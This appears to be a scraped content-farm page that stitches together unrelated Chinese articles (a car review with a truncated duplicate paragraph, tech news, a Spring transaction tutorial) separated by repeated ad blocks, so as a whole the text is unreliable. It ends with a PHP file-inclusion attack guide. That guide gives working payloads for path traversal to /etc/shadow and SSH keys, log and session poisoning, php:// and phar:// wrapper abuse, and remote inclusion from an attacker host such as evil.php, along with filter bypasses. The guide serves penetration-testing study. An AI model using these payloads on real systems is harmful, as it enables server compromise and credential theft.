稱得上操控之王?10多萬的美系轎車哪款車型最強勁?

身為編者當然是要為你們着想,讓你們買到更安心、可靠的車型,所以我就要對你們負責。那麼咱們就從1。0T的車型聊起吧,1。0T的車型會更省油,而且動力也還能滿足日常的需求。喜歡駕駛操控買手動車型的朋友,我會推薦EcoBoost 125 手動超能風尚型智行版售價為13。

福特,一貫的特性就是擁有比同級別更好的操控,無論是SUV還是B級車也好,在同級別中操控性方面都是數一數二的。而福克斯就是福特銷量的主力軍,2016年1月-10月它的銷量就達到了174761輛。福克斯就是一款主打運動操控的車型,吸引了不少對這方面有追求而資金又不是很充裕的消費者,10幾萬就能感受到非常運動,操控性能好的車子,除了福克斯還有誰?而新福克斯也迎來了改款,我們今天就說一說想買福克斯的朋友,到底買哪一款車型性價比更高、更加地合適我們。

長安福特-福克斯

指導價:9.98-16.58萬

福克斯也是沿用了家族化的風格設計,“馬丁臉”具有較高的辨識度,車身的線條也非常凌厲,充滿了隨時要戰鬥的氣息。福克斯是有兩廂車型、三廂車型供消費者選擇,兩廂車型在視覺效果上會更加的運動、年輕、而三廂車廂車型會有那麼一丟丟居家的感覺,但也不會缺乏運動時尚感。

在內飾設計上,整體的布局簡潔大方,按鍵的布局也是比較整齊,在觸感上有很好的反饋,在功能鍵的操作上也是非常容易上手的,新克斯在方向盤也換成了三幅式的,更具操控的味道。全黑的內飾營造出一股運動氣息的氛圍。

雖然福克斯玩得一手好操控,但是空間就是它的短板,在乘坐的空間方面比較緊湊,腿部頭部空間只能說僅僅夠用,但座椅的包裹性非常好,在你激烈駕駛時,身體不會有太大幅度的搬動,就像有人在你背後牢牢的抱着你,舒適性還是不錯。

福克斯指導價為:9.98-16.58萬,搭載1.6L自然吸氣發動機、1.0T/1.5T渦輪增壓發動機,與之匹配的傳動系統5擋手動、6擋雙離合、6擋手自一體變速箱。在動力的調教上,福克斯的表現也是相當的激進,響應性也是非常不錯。轉向很敏捷,精準,給人的感覺就是非常樂意地去過彎,在傾側上也抑製得非常好,行駛質感也非常高,在底盤的調教上很紮實硬朗,在一些起伏不平整路面,也不會有拋跳讓人不舒服的感受。新福克斯,在操控性和舒適上做了更多的改進,那麼我們就來說一說福克斯哪款車型更值得買。

首先呢1.6L的車型我是不推薦買的,因為在傳動系統方面,搭載的6速雙離合,問題還是比較多,頓挫感啊、種種讓人受不了的情況。身為編者當然是要為你們着想,讓你們買到更安心、可靠的車型,所以我就要對你們負責。那麼咱們就從1.0T的車型聊起吧,1.0T的車型會更省油,而且動力也還能滿足日常的需求。喜歡駕駛操控買手動車型的朋友,我會推薦EcoBoost 125 手動超能風尚型智行版售價為13.08萬,好像就這一款,呵呵呵..上坡輔助、電動天窗、GpS導航系統、自動空調調製方式等豐富配置。和自動擋車型相比,相差了1.1萬,卻只是改變了傳動方式,和多了發動機啟停技術,用的是6速手自一體,手動車型和自動就看你自己怎麼選了。具體見下錶;

1.5T車型,動力會強勁很多,趕在12月前買能享受到購置稅減半的政策呢! 三廂版EcoBoost 180 自動精英型售價:14.98萬; 三廂版EcoBoost 180 自動旗艦型16.58萬兩者只相差1.6萬元,而旗艦型比精英型可多了多,無鑰匙進入/啟動、方向盤換擋、定速巡航、后中央扶手、主動剎車/主動安全系統等一系列的高科技配置,只相差一萬六,還是非常值得,福特也是很厚道!

編者點評:

如果資金不是很充裕的,買1.0T車型的而且比較注重油耗方面的,我會更推薦手動超能風尚型智行版,配置上也是足夠厚道,性價比高。1.5T的車型呢,想感受更好的動力和科技性配置,我會更推薦三廂旗艦型和兩廂運動型,畢竟相差的價錢不大,而且也多了很多配置,在你日常用車也是用得上,而不是在那裡當擺設的! 總的來說福克斯在同級裡頭,是有最好的操控駕駛感受,毫無疑問福克斯是適合那些非常注重個人感受的,非常注重自己駕駛,甚至超過家人享受的那種感覺,這個應該說是所有喜歡開車的人不容錯過的一台車。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

超神!國外硬體玩家成功複刻 3dfx Voodoo 5 經典顯卡,還真的可以運作

3dfx 雖然好幾十年前就消失,但對於一些資深的硬體玩家來說,它的地位可是不容取代,甚至用傳奇來形容也不為過。而最近國外就有瘋狂硬體愛好者,可能是太想要再次擁有 3dfx 的顯卡,就透過逆向工程成功還原 3dfx Voodoo 5 6000 這張經典顯卡,而且是真的可以插在電腦上使用,不是模型,真的是有夠厲害。

國外硬體玩家成功複刻 3dfx Voodoo 5 經典顯卡

最近在國外 MODLABS 論壇中,一位 zx-c64 的用戶分享他成功複刻 3dfx Voodoo 5 6000 顯卡的圖片。根據說明,這張顯卡是他購買各零件搭配上逆向工程組裝而成,VSA-100 核心晶片每顆大約花費 18.95 美元(共四顆) ,不過 PCB 電路板選擇黑色,不是過去的綠色,每顆晶片上方再配備散熱風扇:

Voodoo 5 6000 顯卡的 TDP 功耗為 60W,這比 AGP 插槽能提供的還高,因此他也加裝 4 pin 的電源供電接孔,透過 250W 電源供應器供電:

zx-c64 也提到,他很確定這張 Voodoo 5 6000 顯卡效能就跟原本的一樣,他甚至還複製相同的 BIOS 與驅動程式。執行起來畫面還算順暢,但速度有點慢,畢竟是好幾十年前的顯示卡。

Voodoo 5 6000 是 Voodoo 5 5500 的後繼接班人,也是 3dfx 推出的最後一張消費級顯卡,當時連硬體規格都出來了,像是採用 4 顆 166 MHz VSA-100,每個處理器都有 32MB 166MHz SDRAM 等等,不過最後因為生產成本太高,且主機板上的 AGP x4 插槽有一些錯誤,變成只能以 x2 運行,同時還有用戶回報遊戲畫面會出現顏色失真、螢幕有半透明條紋等問題,並沒有實際在市場上販售,僅生產 1000 多張測試卡。

因此 zx-c64 選這張複刻,也算是圓一場擁有 3dfx 最強顯卡的夢。

資料來源:toms hardware

Voodoo顯示卡重現江湖? 國外玩家將其樂高化,並尋求支持

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

聯合國氣候峰會 川普出席15分鐘

摘錄自2019年9月24日公共電視、中央社報導

第74屆聯合國大會,23日在美國紐約召開,全球有約60國領袖,出席聯合國氣候行動峰會。

原本預計會缺席的美國總統川普,也意外現身,但沒有發言,只待了15分鐘後,聽了印度總理莫迪,和德國總理梅克爾的演說後就離席。而梅克爾發言時表示,德國在2030年時,希望將二氧化碳排放量,減少到1990年的55%,並且在2050年時達到零碳排。

瑞典16歲環保少女童貝里激動地痛斥各國領袖不解決碳排,背叛她這個世代;媒體還捕捉到美國總統川普意外現身,童貝里怒瞪川普的畫面。不過肢體語言專家伍德(Patti Wood)伍德解釋,童貝里的肢體反應有可能被誇大。

政策
公約
環境政策
全球變遷
氣候變遷
國際新聞
美國
川普
全球暖化

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

Spring事務的傳播屬性

前言

Spring在TransactionDefinition接口中規定了7種類型的事務傳播行為。事務傳播行為是Spring框架獨有的事務增強特性,他不屬於的事務實際提供方數據庫行為。這是Spring為我們提供的強大的工具箱,使用事務傳播行可以為我們的開發工作提供許多便利。但是人們對他的誤解也頗多,你一定也聽過“service方法事務最好不要嵌套”的傳言。要想正確的使用工具首先需要了解工具。

基礎概念

1. 什麼是事務傳播行為?

事務傳播行為用來描述由某一個事務傳播行為修飾的方法被嵌套進另一個方法的時事務如何傳播。

用偽代碼說明:

1 @Transaction(Propagation=XXX)
2  public void methodA(){
3     methodB();
4     //doSomething
5  }
6  
7  public void methodB(){
8     //doSomething
9  }

methodA中存在事務,他又調用了methodB。methodB事物的一些特性由methodA決定,這就是事務的傳播行為。

2. Spring中七種事務傳播行為

事務傳播行為類型 說明
PROPAGATION_REQUIRED 如果當前沒有事務,就新建一個事務,如果已經存在一個事務中,加入到這個事務中。這是最常見的選擇。
PROPAGATION_SUPPORTS 支持當前事務,如果當前沒有事務,就以非事務方式執行。
PROPAGATION_MANDATORY 使用當前的事務,如果當前沒有事務,就拋出異常。
PROPAGATION_REQUIRES_NEW 新建事務,如果當前存在事務,把當前事務掛起。
PROPAGATION_NOT_SUPPORTED 以非事務方式執行操作,如果當前存在事務,就把當前事務掛起。
PROPAGATION_NEVER 以非事務方式執行,如果當前存在事務,則拋出異常。
PROPAGATION_NESTED 如果當前存在事務,則在嵌套事務內執行。如果當前沒有事務,則執行與PROPAGATION_REQUIRED類似的操作。

定義非常簡單,也很好理解,下面我們就進入代碼測試部分,驗證我們的理解是否正確。

代碼驗證

第一種情況。內部均為 propagation = Propagation.REQUIRED

 1 @Transactional(propagation = Propagation.REQUIRED, isolation = Isolation.REPEATABLE_READ)  2 @Override
 3 public void testTransactional() {
 4     int insert = downloadImgDao.test1();
 5     log.info("insert1 = {}", insert);
 6 
 7     insert = downloadImgDao.test2();
 8     log.info("insert2 = {}", insert);
 9 }
10 
11 @Transactional(propagation = Propagation.REQUIRED, isolation = Isolation.REPEATABLE_READ) 12 @Override
13 public int test1() {
14     DownloadImg downloadImg = new DownloadImg();
15     downloadImg.setId(666L);
16     downloadImg.setLink("張三");
17     downloadImg.setLinkname("16");
18     int res = downloadImgMapper.insertSelective(downloadImg);
19     log.info("res1 = {}", res);
20     return res;
21 }
22 
23 
24 @Transactional(propagation = Propagation.REQUIRED, isolation = Isolation.REPEATABLE_READ) 25 @Override
26 public int test2() {
27     DownloadImg downloadImg = new DownloadImg();
28     downloadImg.setId(888L);
29     downloadImg.setLink("李四");
30     downloadImg.setLinkname("18");
31     int res = downloadImgMapper.insertSelective(downloadImg);
32     log.info("res2 = {}", res);
33 
34     int i = 5 / 0;
35     return res;
36 }

張三,李四插入均失敗。

 

第二種情況。內部一種為 propagation = Propagation.REQUIRED,一種為Propagation.REQUIRES_NEW

 1 @Transactional(propagation = Propagation.REQUIRES_NEW, isolation = Isolation.REPEATABLE_READ)  2 @Override
 3 public int test1() {
 4     DownloadImg downloadImg = new DownloadImg();
 5     downloadImg.setId(666L);
 6     downloadImg.setLink("張三");
 7     downloadImg.setLinkname("16");
 8     int res = downloadImgMapper.insertSelective(downloadImg);
 9     log.info("res1 = {}", res);
10     return res;
11 }
12 
13 
14 @Transactional(propagation = Propagation.REQUIRED, isolation = Isolation.REPEATABLE_READ) 15 @Override
16 public int test2() {
17     DownloadImg downloadImg = new DownloadImg();
18     downloadImg.setId(888L);
19     downloadImg.setLink("李四");
20     downloadImg.setLinkname("18");
21     int res = downloadImgMapper.insertSelective(downloadImg);
22     log.info("res2 = {}", res);
23 
24     int i = 5 / 0;
25     return res;
26 }

張三插入成功,李四插入失敗。

 

第三種情況。內部均為Propagation.REQUIRES_NEW

跟我們現象的是一樣的,如果哪個test異常,哪個就失敗,無異常的就成功。

還有一種情況是,外圍拋異常了,內部都不拋異常,兩種內部插入也都會成功。

結論

本程序是實驗了PROPAGATION_REQUIRED以及Propagation.REQUIRES_NEW。

事務默認以PROPAGATION_REQUIRED來隔離。

1: 如果內部是PROPAGATION_REQUIRED隔離級別,內部只要一個方法出錯,那麼整個事務都會回滾。

2: 如果內部有方法以Propagation.REQUIRES_NEW來隔離。那麼他會創建一個新的事務來運行,如果他拋異常了,並不會影響其他事務的以及外部的事務。

 

spring事務官方文檔:https://docs.spring.io/spring/docs/5.2.6.RELEASE/spring-framework-reference/data-access.html#tx-propagation

參考文檔:https://segmentfault.com/a/1190000013341344

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

研究:加倍保育工作 全球海洋有機會在30年內重現往日榮景

環境資訊中心綜合外電;姜唯 編譯;林大利 審校

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

國外大神爆料 iMac 將推出多款顏色選擇,還有一款 Mac Pro Mini 新機種

今年新款 iMac 的效能有很高可能性會大幅提升,也因此受到非常多 Apple 用戶的關注,而且搞不好不只這一個,稍早又有新的消息出現,國外大神爆料 iMac 還會有多款顏色選擇,也就是說你可以依自己的喜好或裝潢風格,選擇更適合的顏色。另外還提到 Apple 會再推出一款全新的 Mac Pro mini 機種,應該就是體積較小的 Mac Pro。

國外大神爆料 iMac 將推出多款顏色選擇

稍早國外知名爆料大神 Jon Prosser 透露,iMac 將會有多色版本,從爆料圖來看共有 5 色,銀色、黑色、綠色、藍色和粉紅色,而且外型也變得更方正,這點跟先前 Bloomberg(彭博)報導內容一樣,會改成類似 Pro Display XDR 顯示器的外型設計:

Hello, 1998.

iMacs.
Colors.

They’re back. https://t.co/Rho9SmK9I6 pic.twitter.com/YkKgoEFYCa

— Jon Prosser (@jon_prosser) February 24, 2021

iMac 在很多年輕一輩的印象中,可能都只有銀色之類的單一顏色,事實上早期(2000 年以前) 的 iMac 就有非常多色選擇,像 iMac G3 就多達 13 種:

(CC BY-SA 2.0, 圖片來源)

不過 iMac 回歸多色設計我是覺得機會蠻小的,畢竟銷量不像 iPhone 這麼多,現今品牌電腦也很少提供這麼多顏色,一次五色感覺很冒險,不像 Apple 近年的作風,如果多一或二個顏色還比較有可能。

iMac 預計會搭載新一代的 Apple Silicon 處理器,核心可能高達 16 顆,且增加更多連接埠,知名分析師也透露會有全新 24 吋版本。推出時間就還要等一陣子,預計會在 2021 年夏季至秋季登場。

至於 Mac Pro mini,Jon Prosser 就沒有說明太多,只提到 Apple 目前計畫推出這一款新機型:

完整爆料影片:

資料來源:Jon Prosser

傳聞 Apple 將於 3/16 舉行春季新品發表會,或將推出全新 iPad mini 和 AirTags 等新品

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

Google 釋出全新睡眠監測 API,在省電的前提下幫助健康應用更完善地追蹤

在市面上的活動追蹤器很多,但絕大多數都是關於活動、鍛鍊,當然這些很重要但並非衡量健康生活的唯一指標,睡眠也同樣重要,為了讓用戶培養更好的睡眠習慣,Google 釋出旗下新睡眠監測API,使所有Android 裝置更夠擁有更好的低耗電睡眠追蹤功能。

Google 釋出全新睡眠監測API,幫助健康應用更完善地追蹤

Android 上面已經有數款睡眠追蹤應用,你以為這款API 的釋出已經太晚、太遲了,但目前所有應用都使用獨立的偵測演算法和政策來確認用戶是否正在睡覺,或是已經醒來,而這些應用至少都必須在後台運行才能動作。這種方式也是有缺點的,其中之一就是當應用程式在後台持續運行時,手機會在無形中不斷耗電,使得大家在睡覺時不得不為手機充電,雖然廠商在想辦法改變背景運行的方式,但這也會使得睡眠追蹤數據變得不準確。

相較之下,睡眠API 是Android 系統上更廣泛的活動識別API 一部分,這表示它會被放到Google Play 服務中,並且提供一個標準和節約能源的方式來追蹤睡眠。睡眠監測API 將使用設備上的機器學習模型,根據手機光線和運動測器來推斷用戶的睡眠狀態,Google 表示新的API 可以避免開發者花費許多時間來開發自己的判定方式。此外,與其他睡眠追蹤API 相比,Google 的睡眠API 還具備有其他優勢,包含更少的耗電,還有在數據收集方面更可靠的功能,尤其是後者在現代人眼中格外重視。

如果你是開發者,現在就能試著使用Android 的新睡眠監測API,同時這支API 也會提示用戶必須授予ACTIVITY_RECOGNITION 許可,這可確保用戶能夠控制哪些應用可以跟蹤其睡眠。有興趣的開發者可以查閱Google API 說明文件來了解更多關於這款新API 的資訊。

【其他文章推薦】

網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

南投搬家公司費用,距離,噸數怎麼算?達人教你簡易估價知識!

※教你寫出一流的銷售文案?

※超省錢租車方案

※回頭車貨運收費標準

PHP文件包含 整理

文件包含

目錄

  • 文件包含
    • 1. 概述
      • 1.1 常見的引發漏洞的函數:
      • 1.2 利用條件
      • 1.3 分類和利用思路
    • 2. 利用方法
      • 2.1 配合文件解析漏洞來包含
      • 2.2 讀取系統敏感文件(路徑遍歷)
      • 2.3 包含http日誌文件
      • 2.4 包含SSH日誌
      • 2.5 使用PHP偽協議
      • 2.6 配合phpinfo頁面包含臨時文件
      • 2.7 包含Session
      • 2.9 包含環境變量
    • 3. 繞過技巧
      • 3.1 限制路徑路徑
      • 3.2 限制後綴
      • 3.3 allow_url_include = off
      • 3.4 Base64 處理的session文件
      • 3.5 自己構造Session
      • 3.6 CVE-2018-14884

參考資料:
文件包含漏洞簡介
利用phpinfo條件競爭
PHP文件包含漏洞利用思路與Bypass總結手冊

1. 概述

什麼是文件包含:文件包含函數所加載的參數沒有經過過濾或者嚴格的定義,可以被用戶控制,包含其他文件或惡意代碼,導致信息泄露或代碼注入。

要求:包含的文件路徑攻擊者可控,被包含的文件web服務器可訪問。

1.1 常見的引發漏洞的函數:

  1. include()執行到include時才包含文件,文件不存在時提出警告,但是繼續執行
  2. require()只要程序運行就會包含文件,文件不存在產生致命錯誤,並停止腳本
  3. include_once()require_once()只執行一次,如果一個文件已經被包含,則這兩個函數不會再去包含(即使文件中間被修改過)。

當利用這四個函數來包含文件時,不管文件是什麼類型(圖片、txt等等),其中的文本內容都會直接作為php代碼進行解析。

1.2 利用條件

  • 包含函數通過動態變量的方式引入需要包含的參數。

  • PHP中只要文件內容符合PHP語法規範,不管是什麼後綴,都會被解析。

1.3 分類和利用思路

文件包含通常按照包含文件的位置分為兩類:本地文件包含(LFI)和遠程文件包含(RFI),顧名思義,本地文件包含就是指包含本地服務器上存儲的一些文件;遠程文件包含則是指被包含的文件不存儲在本地。

本地文件包含

  1. 包含本地文件、執行代碼
  2. 配合文件上傳,執行惡意腳本
  3. 讀取本地文件
  4. 通過包含日誌的方式GetShell
  5. 通過包含/proc/self/envion文件GetShell
  6. 通過偽協議執行惡意腳本
  7. 通過phpinfo頁面包含臨時文件

遠程文件包含

  1. 直接執行遠程腳本(在本地執行)

遠程文件包含需要在php.ini中進行配置,才可開啟:

allow_url_fopen = On:本選項激活了 URL 風格的 fopen 封裝協議,使得可以訪問 URL 對象文件。默認的封裝協議提供用 ftp 和 http 協議來訪問遠程文件,一些擴展庫例如 zlib 可能會註冊更多的封裝協議。(出於安全性考慮,此選項只能在 php.ini 中設置。)

allow_url_include = On:此選項允許將具有URL形式的fopen包裝器與以下功能一起使用:include,include_once,require,require_once。(該功能要求allow_url_fopen開啟)

2. 利用方法

2.1 配合文件解析漏洞來包含

http://target.com/?page=../../upload/123.jpg/.php

2.2 讀取系統敏感文件(路徑遍歷)

include.php?file=../../../../../../../etc/passwd

Windows:

​ C:\boot.ini //查看系統版本
​ C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
​ C:\Windows\repair\sam //存儲系統初次安裝的密碼
​ C:\Program Files\mysql\my.ini //Mysql配置
​ C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
​ C:\Windows\php.ini //php配置信息
​ C:\Windows\my.ini //Mysql配置信息

Linux:

/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件標識符)
/proc/mounts
/porc/config.gz

2.3 包含http日誌文件

通過包含日誌文件,來執行夾雜在URL請求或者User-Agent頭中的惡意腳本

  1. 通過讀取配置文件確定日誌文件地址

    默認地址通常為:/var/log/httpd/access_log/var/log/apache2/access.log

  2. 請求時直接在URL後面加上腳本即可http://www.target.com/index.php<?php phpinfo();?>,之後去包含這個日誌文件即可。

  3. 注意:日誌文件會記錄最為原始的URL請求,在瀏覽器地址欄中輸入的地址會被URL編碼,通過CURl或者Burp改包繞過編碼。

apache+Linux 日誌默認路徑
/etc/httpd/logs/access_log
/var/log/httpd/access_log
xmapp日誌默認路徑
D:/xampp/apache/logs/access.log
D:/xampp/apache/logs/error.log
IIS默認日誌文件
C:/WINDOWS/system32/Logfiles
%SystemDrive%/inetpub/logs/LogFiles
nginx
/usr/local/nginx/logs
/opt/nginx/logs/access.log

通過包含環境變量/proc/slef/enversion來執行惡意腳本,修改HTTP請求的User-Agent報頭,但是沒復現成功

2.4 包含SSH日誌

和包含HTTP日誌類似,登錄用戶的用戶名會被記錄在日誌中,如果可以讀取到ssh日誌文件,則可以利用惡意用戶名注入php代碼。

SSH登錄日誌常見存儲位置:/var/log/auth.log/var/log/secure

2.5 使用PHP偽協議

PHP內置了很多URL 風格的封裝協議,除了用於文件包含,還可以用於很多文件操作函數。在phpinfo的Registered PHP Streams中可以找到目前環境下可用的協議。

file:// — 訪問本地文件系統
http:// — 訪問 HTTP(s) 網址
ftp:// — 訪問 FTP(s) URLs
php:// — 訪問各個輸入/輸出流(I/O streams
zlib:// — 壓縮流
data:// — 數據(RFC 2397)
glob:// — 查找匹配的文件路徑模式
phar:// — PHP 壓縮文件
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音頻流
expect:// — 處理交互式的流
  1. file://訪問本地文件系統http://target.com/?page=file://D:/www/page.txt,正反斜線都行(windows),對於共享文件服務器可以使用\\smbserver\share\path\to\winfile.ext

  2. php://input訪問輸入輸出流:?page=php://input,在POST內容中輸入想要執行的腳本。

  3. php://filter:是一種元封裝器, 設計用於數據流打開時的篩選過濾應用。

    全部可用過濾器列表:https://www.php.net/manual/zh/filters.php

    通常利用該偽協議來讀取php源碼,通過設定編碼方式(以base64編碼為例),可以防止讀取的內容被當做php代碼解析,利用方式(就是read寫不寫的區別):

    index.php?file=php://filter/read=convert.base64-encode/resource=index.php
    index.php?file=php://filter/convert.base64-encode/resource=index.php
    
  4. data://數據流封裝:?page=data://text/plain,腳本

  1. zip://壓縮流:創建惡意代碼文件,添加到壓縮文件夾,上傳,無視後綴。通過?page=zip://絕對路徑%23文件名訪問,5.2.9之前是只能絕對路徑。

備註:

  1. 文件需要絕對路徑才能訪問

  2. 需要通過#(也就是URL中的%23)來指定代碼文件

  3. compress.bzip2://compress.zlib://壓縮流,與zip類似,但是支持相對路徑無視後綴

    bzipgzip是對單個文件進行壓縮(不要糾結要不要指定壓縮包內的文件)

    ?file=compress.bzip2://路徑
    ?file=compress.zlib://路徑
    
  4. phar://支持zip、phar格式的壓縮(歸檔)文件,無視後綴(也就是說jpg後綴照樣給你解開來),?file=phar://壓縮包路徑/壓縮包內文件名,絕對路徑和相對路徑都行。

    利用方法:

    index.php?file=phar://test.zip/test.txt
    index.php?file=phar://test.xxx/test.txt
    

    製作phar文件(php5.3之後):

    1. 設置php.iniphar.readonly=off
    2. 製作生成腳本
    <?php 
    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub
    $phar->addFromString("test.txt", "<?php phpinfo();?>"); //添加要壓縮的文件及內容
    $phar->stopBuffering(); //簽名自動計算
    ?>
    // 這個腳本需要使用php.exe 來生成
    
    1. 生成腳本2

      <?php
      $p = new PharData(dirname(__FILE__).'./test.123', 0,'test',Phar::ZIP);
      $p->addFromString('test.txt', '<?php phpinfo();?>');
      ?>
      //這個腳本可以通過訪問來觸發,在本地生成一個test.123,但是不能生成後綴為phar的文件(其他的都行,甚至是php)
      

2.6 配合phpinfo頁面包含臨時文件

向phpinfo頁面上傳文件的時候,phpinfo會返回臨時文件的保存路徑

臨時文件存活時間很短,當連接結束后,臨時文件就會消失。條件競爭

只要發送足夠多的的數據,讓頁面還未反應過來的時候去包含文件,即可。

  1. 發送包含了webshell的上傳數據包給phpinfo頁面,這個數據包的header、get等位置需要塞滿垃圾數據

  2. 因為phpinfo頁面會將所有數據都打印出來,1中的垃圾數據會將整個phpinfo頁面撐得非常大

  3. php默認的輸出緩衝區大小為4096,可以理解為php每次返回4096個字節給socket連接

  4. 所以,我們直接操作原生socket,每次讀取4096個字節。只要讀取到的字符里包含臨時文件名,就立即發送第二個數據包

  5. 此時,第一個數據包的socket連接實際上還沒結束,因為php還在繼續每次輸出4096個字節,所以臨時文件此時還沒有刪除

  6. 利用這個時間差,第二個數據包,也就是文件包含漏洞的利用,即可成功包含臨時文件,最終getshell

    利用腳本exp

2.7 包含Session

  1. PHP將用戶Session以文件的形式保存在主機中,通過php.ini文件中的session.save_path字段可以設置具體的存儲位置,通過phpinfo頁面也可以查詢到;文件命名格式為:sess_<PHPSESSID>,其中PHPSESSID為用戶cookie中PHPSESSID對應的值;Session文件一些可能的保存路徑:

    /var/lib/php/sess_PHPSESSID
    /var/lib/php/sessions/sess_PHPSESSID
    /tmp/sess_PHPSESSID
    /tmp/sessions/sess_PHPSESSID
    
  2. Session文件內容有兩種記錄格式:php、php_serialize,通過修改php.ini文件中session.serialize_handler字段來進行設置。

    以php格式記錄時,文件內容中以|來進行分割:

    以php_serialize格式記錄時,將會話內容以序列化形式存儲:

  3. 如果保存的session文件中字符串可控,那麼就可以構造惡意的字符串觸發文件包含。

    先構造一個含有惡意字符串的session文件:?user=test&cmd=<?php phpinfo();?>,之後包含這個會話的session文件。

2.9 包含環境變量

CGI****利用條件:1231、php以cgi方式運行,這樣environ才會保存UA頭。``2、environ文件存儲位置已知,且environ文件可讀。利用姿勢:proc/self/environ中會保存user-agent頭。如果在user-agent中插入php代碼,則php代碼會被寫入到environ中。之後再包含它,即可。

3. 繞過技巧

3.1 限制路徑路徑

服務器限制了訪問文件的路徑,例如在變量前面追加'/var/www/html'限制只能包含web目錄下的文件,可以利用路徑穿越進行對抗。

../../../../../../../ect/passwd

對於輸入有過濾的情況,可以嘗試用URL編碼進行轉換,比如%2e%2e%2f,甚至是二次轉換。

3.2 限制後綴

對用戶輸入添加後綴,比如:自動添加.jgp後綴、或者期望用戶輸如一個父目錄,服務器自動拼接上子目錄和文件。

  1. 如果是遠程文件包含的話可以利用URL的特性?#

    構造出類似於http://test.com/evil.php?/static/test.phphttp://test.com/evil.php#/static/test.php的包含路徑,使得服務器預設的後綴變成URL的參數或者頁面錨點。

  2. 利用壓縮協議:構建一個壓縮包歸檔文件,裡面包含上服務器加的後綴,這樣完整的路徑將指向壓縮包內文件。

    比如壓縮包中文件為test.zip->test->defautl->test.php ,構造url:include.php?file=phar://test.zip/test,服務端拼接后變成include('phar://test.zip/test/defautl/test.php')

  3. 利用超長字符串進行截斷,在php<5.2.8的版本可以設置一個超級長的路徑,超過的部分將被服務器丟棄。

    win最長為256字節、Linux為4096字節,構造include.php?file=./././././(n多個)././test.php

  4. 利用00截斷:php<5.3.4時可用%00對字符串進行截斷,%00被是識別為字符串終止標記。

3.3 allow_url_include = off

利用SMB、webdav等使用UNC路徑的文件共享進行繞過。

  1. 利用SMB(只對Win的web服務器有效):構建SMB服務器后,構造URL:?include.php?file=\\172.16.97.128\test.php
  2. 利用WebDAV:構造連接?include.php?file=//172.16.97.128/webdav/test.php

3.4 Base64 處理的session文件

為了保護用戶的信息或存儲更多格式的信息,很多時候都會對Session文件進行編碼,以Base64編碼為例,闡述繞過思路。了解服務端使用的編碼模式以及對應的解碼模式;合理安排payload使其滿足解碼條件,只要不干擾php代碼運行就可以。

  1. 根據上邊介紹的偽協議的用法,可以知道使用index.php?file=php://filter/read=convert.base64-decode/resource=index.php即可對base64編碼的文件進行解碼,但是直接解碼session文件時會出現亂碼。其原因在於session文檔中包含的並非全部都是base64編碼的內容,session開頭的user|s:24:字符串也被當做base64進行解碼,從而導致出現亂碼的情況,因此如果能忽略前面的字符,就可以完美解碼了。

  2. 有利條件:PHP在進行base64解碼的時候並不會去處理非Base64編碼字符集的內容,直接忽略過去並拼接之後的內容。也就是說,Session文件中的:|{};"這類字符對Base64解碼沒有影響。

